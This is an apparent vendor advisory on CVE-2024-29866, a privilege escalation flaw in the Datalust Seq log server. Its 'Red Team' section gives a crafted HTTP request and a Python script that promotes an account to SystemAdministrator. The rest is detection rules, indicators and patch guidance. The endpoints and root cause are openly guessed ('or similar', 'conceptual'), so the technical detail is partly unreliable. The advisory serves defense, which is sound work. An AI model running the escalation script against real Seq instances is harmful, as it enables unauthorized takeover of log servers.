CVE-2024-29866
Executive Summary
CVE-2024-29866 is a critical privilege escalation vulnerability in Datalust Seq, a centralized log server. The flaw allows a user with Project Owner or Organization Owner roles to escalate their privileges to System-level access. This is due to improper access control (CWE-284) in the authorization logic, where role-based permissions are not sufficiently enforced. An attacker who has already compromised a lower-privileged administrative account can leverage this vulnerability to gain full control over the Seq instance, potentially accessing all logs, modifying configurations, and pivoting to other systems.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a server-side application issue. However, organizations using Seq as part of their logging infrastructure should treat this as a critical supply chain risk, as a compromised Seq instance can expose sensitive log data from multiple applications.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, which is likely a placeholder. Based on the impact (privilege escalation to System), a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N) – the attacker can exploit this remotely.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): Low (L) – attacker needs a Project or Organization Owner account.
- User Interaction (UI): None (N) – no user action required.
- Scope (S): Changed (C) – the attacker can affect resources beyond their original authorization.
- Confidentiality (C): High (H) – full access to all logs.
- Integrity (I): High (H) – ability to modify system settings.
- Availability (A): High (H) – potential to disrupt logging services.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Estimated Score: 9.9 (Critical)
Deep Dive & Mechanics
The vulnerability resides in the authorization layer of Datalust Seq. The application uses a role-based access control (RBAC) model with roles such as User, Project Owner, Organization Owner, and System Administrator. The flaw occurs when a user with Project Owner or Organization Owner privileges performs an action that should be restricted to System Administrators. The server fails to properly validate the user's role against the required permission level for certain administrative endpoints.
Root Cause: The access control checks are performed on the client side or are not consistently enforced on the server side for all API endpoints. Specifically, the POST /api/account/roles or similar endpoints may allow a Project Owner to assign themselves the System Administrator role, or to directly invoke system-level functions without proper authorization.
Attack Flow:
- Attacker gains access to a Seq instance with a Project Owner or Organization Owner account (e.g., through credential theft, phishing, or weak passwords).
- Attacker identifies the vulnerable API endpoint (e.g.,
/api/account/rolesor/api/admin/settings). - Attacker sends a crafted HTTP request to escalate their privileges to System Administrator.
- Once System Administrator, the attacker can access all logs, create new users, modify system configurations, and potentially execute arbitrary code on the server.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Vulnerable: No role check for admin actions
[HttpPost("api/account/roles")]
public IActionResult UpdateRole([FromBody] RoleUpdateRequest request)
{
var user = GetCurrentUser();
// Missing: if (!user.IsAdmin) return Forbid();
UpdateUserRole(request.UserId, request.NewRole);
return Ok();
}
Patched Code (Conceptual):
// Patched: Proper authorization check
[HttpPost("api/account/roles")]
[Authorize(Roles = "SystemAdministrator")]
public IActionResult UpdateRole([FromBody] RoleUpdateRequest request)
{
var user = GetCurrentUser();
if (!user.IsSystemAdministrator) return Forbid();
UpdateUserRole(request.UserId, request.NewRole);
return Ok();
}
The patch adds explicit role-based authorization attributes or checks to all administrative endpoints, ensuring only System Administrators can perform sensitive operations.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a Datalust Seq instance (version < 2023.4.11151 or < 2024.1.11146).
- Valid credentials for a Project Owner or Organization Owner account.
Exploitation Steps:
- Authenticate to the Seq instance and obtain a session token.
- Identify the vulnerable endpoint. Common targets include:
POST /api/account/rolesPOST /api/admin/settingsPOST /api/users/{id}/role
- Send a crafted request to escalate privileges:
POST /api/account/roles HTTP/1.1 Host: seq.example.com Authorization: Bearer <session_token> Content-Type: application/json { "userId": "<your_user_id>", "newRole": "SystemAdministrator" } - Verify escalation by accessing a system-level endpoint, e.g.,
GET /api/admin/settings. - Once escalated, exfiltrate logs or pivot to other systems.
Automation Script (Python):
import requests
target = "https://seq.example.com"
session = requests.Session()
# Authenticate
login_data = {"username": "attacker", "password": "password123"}
session.post(f"{target}/api/account/login", json=login_data)
# Escalate privileges
escalate_data = {"userId": "attacker_id", "newRole": "SystemAdministrator"}
response = session.post(f"{target}/api/account/roles", json=escalate_data)
if response.status_code == 200:
print("Privilege escalation successful!")
else:
print("Failed to escalate.")
Blue Team
Detection:
- Monitor for unusual API calls to
/api/account/rolesor/api/admin/*from non-admin users. - Alert on changes to user roles, especially if a user is promoted to SystemAdministrator outside of normal administrative workflows.
- Use the Sigma rule below to detect privilege escalation attempts.
Hunting:
- Search for HTTP 200 responses to
POST /api/account/roleswhere the request body contains"newRole": "SystemAdministrator". - Review audit logs for role changes and correlate with user activity.
Mitigation:
- Immediately upgrade to Seq 2023.4.11151 or 2024.1.11146.
- If patching is not possible, restrict network access to the Seq API to trusted IPs only.
- Implement additional monitoring on administrative endpoints.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/api/account/roleswithnewRole: SystemAdministrator. - Unusual API calls to
/api/admin/*from accounts that are not System Administrators.
- HTTP requests to
- System IOCs:
- New user accounts with SystemAdministrator role created outside of normal processes.
- Audit log entries showing role escalation events.
- File IOCs:
- Modified configuration files in the Seq installation directory (e.g.,
Seq.json).
- Modified configuration files in the Seq installation directory (e.g.,
- Log IOCs:
- Seq logs showing
RoleUpdatedevents withNewRole: SystemAdministratorfor unexpected users.
- Seq logs showing
Detection Engineering
YARA Rule
rule CVE_2024_29866_Privilege_Escalation {
meta:
description = "Detects privilege escalation attempts in Datalust Seq logs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-29866"
strings:
$s1 = "RoleUpdated" ascii wide nocase
$s2 = "SystemAdministrator" ascii wide nocase
$s3 = "api/account/roles" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: Datalust Seq Privilege Escalation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to escalate privileges to SystemAdministrator in Datalust Seq
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2024-29866
logsource:
category: application
product: datalust_seq
detection:
selection:
EventID: "RoleUpdated"
NewRole: "SystemAdministrator"
condition: selection
falsepositives:
- Legitimate administrative actions
level: high
Suricata Rule
alert http any any -> any any (
msg:"CVE-2024-29866 Datalust Seq Privilege Escalation Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/api/account/roles";
http_uri;
content:"SystemAdministrator";
http_client_body;
classtype:attempted-admin;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade to Seq 2023.4.11151 or 2024.1.11146 immediately. These versions contain the fix for the improper access control.
- Workaround: If patching is not possible, restrict access to the Seq web interface and API to trusted networks only using firewall rules or reverse proxy configurations.
- Audit: Review all user accounts and roles. Remove any unauthorized SystemAdministrator accounts.
Long-Term Mitigations:
- Implement the principle of least privilege for all Seq users.
- Enable multi-factor authentication (MFA) for all administrative accounts.
- Regularly audit role assignments and monitor for anomalous privilege changes.
- Use a Web Application Firewall (WAF) to block requests to sensitive API endpoints from non-admin users.
Detection:
- Deploy the provided Sigma and Suricata rules to detect exploitation attempts.
- Enable detailed audit logging in Seq and forward logs to a SIEM for analysis.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert